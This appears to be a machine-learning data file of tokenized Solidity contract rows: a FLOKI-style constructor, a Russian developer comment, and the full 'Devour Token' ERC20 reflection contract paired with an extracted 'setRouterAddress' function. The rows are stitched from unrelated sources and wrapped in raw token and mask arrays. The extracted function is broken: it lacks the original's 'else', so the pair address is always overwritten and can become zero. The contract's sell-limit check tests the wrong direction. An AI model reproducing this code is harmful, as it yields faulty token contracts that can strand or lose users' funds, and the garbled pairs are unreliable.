[ 1, 565, 445, 10194, 13788, 2171, 22, 12, 11890, 619, 20, 16, 2254, 677, 20, 16, 2254, 1329, 13, 1071, 1476, 203, 3639, 1135, 261, 11890, 16, 2254, 13, 203, 565, 288, 203, 3639, 2254, 1026, 22, 60, 273, 619, 20, 31, 203, 3639, 2254, 1026, 22, 61, 273, 677, 20, 31, 203, 3639, 2254, 1026, 22, 62, 273, 404, 31, 203, 203, 3639, 364, 12, 11890, 277, 273, 374, 31, 277, 411, 1329, 31, 277, 27245, 288, 203, 5411, 261, 1969, 22, 60, 16, 1026, 22, 61, 16, 1026, 22, 62, 13, 273, 13605, 626, 78, 12, 1969, 22, 60, 16, 1026, 22, 61, 16, 1026, 22, 62, 1769, 203, 3639, 289, 203, 203, 3639, 327, 358, 13785, 558, 2148, 12, 1969, 22, 60, 16, 1026, 22, 61, 16, 1026, 22, 62, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x7193817fBebF1bBB8cA0486aaEaEc3bF2034bC46/sources/FLOKI.sol
to contract ownerburn(0x000000000000000000000000000000000000dEaD, _totalSupply / 2);
constructor() { name ="ForeverFloki"; symbol = "FFlok"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; _owner = msg.sender; balances[msg.sender] = _totalSupply; }
4,891,884
[ 1, 869, 6835, 3410, 70, 321, 12, 20, 92, 12648, 12648, 12648, 12648, 2787, 72, 41, 69, 40, 16, 389, 4963, 3088, 1283, 342, 576, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 508, 273, 6, 13573, 502, 42, 383, 15299, 14432, 203, 3639, 3273, 273, 315, 2246, 383, 79, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 540, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 12648, 12648, 17877, 31, 203, 540, 203, 565, 389, 8443, 273, 1234, 18, 15330, 31, 203, 377, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 203, 540, 203, 565, 289, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x7C88edD2C8Fa721bCa8b63Ce4b6AE84de01C8440/sources/task_6.sol
понимаю, что такое решение не самое красивое, но я так понял, что с дробными числами solidity не очень дружит, по этому реализовал возможность вводить значения в разных единицах
return conv_dep;
5,235,556
[ 1, 145, 128, 145, 127, 145, 126, 145, 121, 145, 125, 145, 113, 146, 241, 16, 225, 146, 234, 146, 229, 145, 127, 225, 146, 229, 145, 113, 145, 123, 145, 127, 145, 118, 225, 146, 227, 145, 118, 146, 235, 145, 118, 145, 126, 145, 121, 145, 118, 225, 145, 126, 145, 118, 225, 146, 228, 145, 113, 145, 125, 145, 127, 145, 118, 225, 145, 123, 146, 227, 145, 113, 146, 228, 145, 121, 145, 115, 145, 127, 145, 118, 16, 225, 145, 126, 145, 127, 225, 146, 242, 225, 146, 229, 145, 113, 145, 123, 225, 145, 128, 145, 127, 145, 126, 146, 242, 145, 124, 16, 225, 146, 234, 146, 229, 145, 127, 225, 146, 228, 225, 145, 117, 146, 227, 145, 127, 145, 114, 145, 126, 146, 238, 145, 125, 145, 121, 225, 146, 234, 145, 121, 146, 228, 145, 124, 145, 113, 145, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 3639, 327, 6292, 67, 15037, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: NOLICENSE pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract DevourToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromMaxWallet; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; bool public tradingEnabled; bool public swapEnabled; bool private swapping; bool private isSwapNLiq = false; IRouter public router; address public pair; uint8 private constant _decimals = 18; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public maxBuyAmount = _tTotal.mul(2).div(100); uint256 public maxSellAmount = _tTotal.mul(1).div(100); uint256 public swapTokensAtAmount = 5000000000000 * 10**_decimals; uint256 public _maxWalletSize = _tTotal.mul(2).div(100); address public operationsAddress = 0xf254Ac119AcdDE9d64afC9a622c0a86bF6473ff8; address public marketingAddress = 0x2988F8A65E69Ce9203B57E4a82828560c5735c1f; address public foundationAddress = 0xEb2c05E949B587D7c2918C5543F567eC302eF2e7; address public exchangeLiquidityReserve = 0x5A75f7c8aE75a04380eD90bBDee2D6F686af02FE; address public manualBurnReserve = 0xDd4b03a752862dBdFdD8C8663eB7dEA94BcAe97C; address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; string private constant _name = "Devour Token"; string private constant _symbol = "RESTAURANTS"; struct feeRatesStruct { uint256 rfi; uint256 operations; uint256 burn; uint256 liquidity; } struct valuesFromGetValues { uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rOperations; uint256 rBurn; uint256 rLiquidity; uint256 tTransferAmount; uint256 tRfi; uint256 tOperations; uint256 tBurn; uint256 tLiquidity; } event TradingEnabled(uint256 startDate); modifier lockTheSwap() { swapping = true; _; swapping = false; } constructor(address routerAddress) { IRouter _router = IRouter(routerAddress); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; _rOwned[owner()] = _rTotal; _isExcluded[deadAddress] = true; _isExcluded[marketingAddress] = true; _isExcluded[foundationAddress] = true; _isExcluded[operationsAddress] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[operationsAddress] = true; _isExcludedFromFee[deadAddress] = true; _isExcludedFromFee[marketingAddress] = true; _isExcludedFromFee[foundationAddress] = true; _isExcludedFromFee[manualBurnReserve] = true; _isExcludedFromFee[exchangeLiquidityReserve] = true; _isExcludedFromMaxWallet[owner()] = true; _isExcludedFromMaxWallet[operationsAddress] = true; _isExcludedFromMaxWallet[deadAddress] = true; _isExcludedFromMaxWallet[marketingAddress] = true; _isExcludedFromMaxWallet[foundationAddress] = true; _isExcludedFromMaxWallet[manualBurnReserve] = true; _isExcludedFromMaxWallet[exchangeLiquidityReserve] = true; emit Transfer(address(0), owner(), _tTotal); } //std ERC20: function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } //override ERC20: function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); valuesFromGetValues memory s = _getValues(tAmount, true); _rOwned[sender] = _rOwned[sender].sub(s.rAmount); _rTotal = _rTotal.sub(s.rAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns (uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function startTrading() external onlyOwner { tradingEnabled = true; swapEnabled = true; emit TradingEnabled(block.timestamp); } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount / currentRate; } //@dev kept original RFI naming -> "reward" as in reflection function excludeFromReward(address account) public onlyOwner { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner { _maxWalletSize = _tTotal.mul(maxWallPercent).div(10**2); } function _reflectRfi(uint256 rRfi) private { _rTotal -= rRfi; } function _takeOperations(uint256 rOperations, uint256 tOperations) private { if (_isExcluded[address(this)]) { _tOwned[address(this)] += tOperations; } _rOwned[address(this)] += rOperations; } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { if (_isExcluded[address(this)]) { _tOwned[address(this)] += tLiquidity; } _rOwned[address(this)] += rLiquidity; } function _takeBurn(uint256 rBurn, uint256 tBurn) private { if (_isExcluded[deadAddress]) { _tOwned[deadAddress] += tBurn; } _rOwned[deadAddress] += rBurn; } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); ( to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rOperations, to_return.rBurn, to_return.rLiquidity ) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private pure returns (valuesFromGetValues memory s) { feeRatesStruct memory feeRates = feeRatesStruct({ rfi: 30, operations: 40, burn: 20, liquidity: 10 }); if (!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = (tAmount * feeRates.rfi) / 1000; s.tOperations = (tAmount * feeRates.operations) / 1000; s.tBurn = (tAmount * feeRates.burn) / 1000; s.tLiquidity = (tAmount * feeRates.liquidity) / 1000; s.tTransferAmount = tAmount - s.tRfi - s.tOperations - s.tBurn - s.tLiquidity; return s; } function _getRValues( valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate ) private pure returns ( uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rOperations, uint256 rBurn, uint256 rLiquidity ) { rAmount = tAmount * currentRate; if (!takeFee) { return (rAmount, rAmount, 0, 0, 0, 0); } rRfi = s.tRfi * currentRate; rOperations = s.tOperations * currentRate; rBurn = s.tBurn * currentRate; rLiquidity = s.tLiquidity * currentRate; rTransferAmount = rAmount - rRfi - rOperations - rBurn - rLiquidity; return (rAmount, rTransferAmount, rRfi, rOperations, rBurn, rLiquidity); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if ( _rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require( amount <= balanceOf(from), "You are trying to transfer more than your balance" ); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(tradingEnabled, "Trading is not enabled yet"); } if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && from == pair ) { require(amount <= maxBuyAmount, "you are exceeding maxBuyAmount"); uint256 walletCurrentBalance = balanceOf(to); require( walletCurrentBalance + amount <= _maxWalletSize && !_isExcludedFromMaxWallet[from], "Exceeds maximum wallet token amount" ); } if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && from == pair ) { require( amount <= maxSellAmount, "Amount is exceeding maxSellAmount" ); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (!swapping && swapEnabled && canSwap && from != pair) { swapAndLiquify(swapTokensAtAmount); } _tokenTransfer( from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) && !(to != pair && from != pair) && !isSwapNLiq ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee ) private { valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender]) { //from excluded _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } _rOwned[sender] = _rOwned[sender] - s.rAmount; _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; _reflectRfi(s.rRfi); _takeOperations(s.rOperations, s.tOperations); _takeLiquidity(s.rLiquidity, s.tLiquidity); _takeBurn(s.rBurn, s.tBurn); emit Transfer(sender, recipient, s.tTransferAmount); emit Transfer(sender, address(this), s.tLiquidity + s.tOperations); emit Transfer(sender, deadAddress, s.tBurn); } function swapETHForTokens(uint256 amount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); // make the swap router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }( 0, // accept any amount of Tokens path, deadAddress, // Burn address block.timestamp.add(300) ); } function swapAndLiquify(uint256 tokens) private lockTheSwap { isSwapNLiq = true; feeRatesStruct memory feeRates = feeRatesStruct({ rfi: 30, operations: 40, burn: 20, liquidity: 10 }); // Split the contract balance into halves uint256 denominator = (feeRates.liquidity + feeRates.operations) * 2; uint256 tokensToAddLiquidityWith = (tokens * feeRates.liquidity) / denominator; uint256 toSwap = tokens - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - feeRates.liquidity); uint256 ethToAddLiquidityWith = unitBalance * feeRates.liquidity; if (ethToAddLiquidityWith > 0) { // Add liquidity to uniswap addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } // Send ETH to operationsWallet uint256 operationsAmt = unitBalance * 2 * feeRates.operations; if (operationsAmt > 0) { payable(operationsAddress).transfer(operationsAmt); } isSwapNLiq = false; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function updateSwapEnabled(bool _enabled) external onlyOwner { swapEnabled = _enabled; } //Emergency swap unlock before ownership renoucement function rescueLock() external onlyOwner { swapping = !swapping; } //Use this in case ETH are sent to the contract by mistake function rescueETH(uint256 weiAmount) external onlyOwner { require(address(this).balance >= weiAmount, "insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function rescueERC20Tokens(address tokenAddress) external onlyOwner { IERC20(tokenAddress).transfer( msg.sender, IERC20(tokenAddress).balanceOf(address(this)) ); } /// @dev Update router address in case of uniswap migration function setRouterAddress(address newRouter) external onlyOwner { require(newRouter != address(router)); IRouter _newRouter = IRouter(newRouter); address get_pair = IFactory(_newRouter.factory()).getPair( address(this), _newRouter.WETH() ); if (get_pair == address(0)) { pair = IFactory(_newRouter.factory()).createPair( address(this), _newRouter.WETH() ); } else { pair = get_pair; } router = _newRouter; } receive() external payable {} }
@dev Update router address in case of uniswap migration
function setRouterAddress(address newRouter) external onlyOwner { require(newRouter != address(router)); IRouter _newRouter = IRouter(newRouter); address get_pair = IFactory(_newRouter.factory()).getPair( address(this), _newRouter.WETH() ); if (get_pair == address(0)) { pair = IFactory(_newRouter.factory()).createPair( address(this), _newRouter.WETH() ); pair = get_pair; } router = _newRouter; }
9,936,579
[ 1, 1891, 4633, 1758, 316, 648, 434, 640, 291, 91, 438, 6333, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
